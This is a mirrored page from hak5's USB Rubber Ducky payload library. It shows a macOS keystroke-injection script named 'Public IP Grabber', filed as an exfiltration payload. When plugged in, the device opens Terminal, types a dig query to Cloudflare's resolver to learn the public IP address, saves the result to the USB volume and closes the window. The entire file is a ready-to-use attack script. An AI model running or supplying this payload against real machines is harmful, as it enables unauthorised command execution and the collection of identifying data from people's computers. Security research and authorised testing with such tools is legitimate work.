Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/exfiltration/Public-IP-Grabber/payload.txt
2968 views
1
REM Title: Public IP Grabber
2
REM Description: Extracts the public IP address of the current connected network onto the ducky
3
REM Author: matthewkayne
4
REM Category: Exfiltration
5
REM Target: macOS (Terminal)
6
REM Requires: Twin Duck firmware or separate USB stick (requires change to the path of the file)
7
8
9
DELAY 1000
10
GUI SPACE
11
DELAY 400
12
STRING terminal
13
ENTER
14
DELAY 200
15
STRING dig +short txt ch whoami.cloudflare @1.0.0.1 > /Volumes/DUCKY/public-ip.txt
16
ENTER
17
DELAY 200
18
ENTER
19
DELAY 200
20
GUI w
21
DELAY 200
22
ENTER
23
24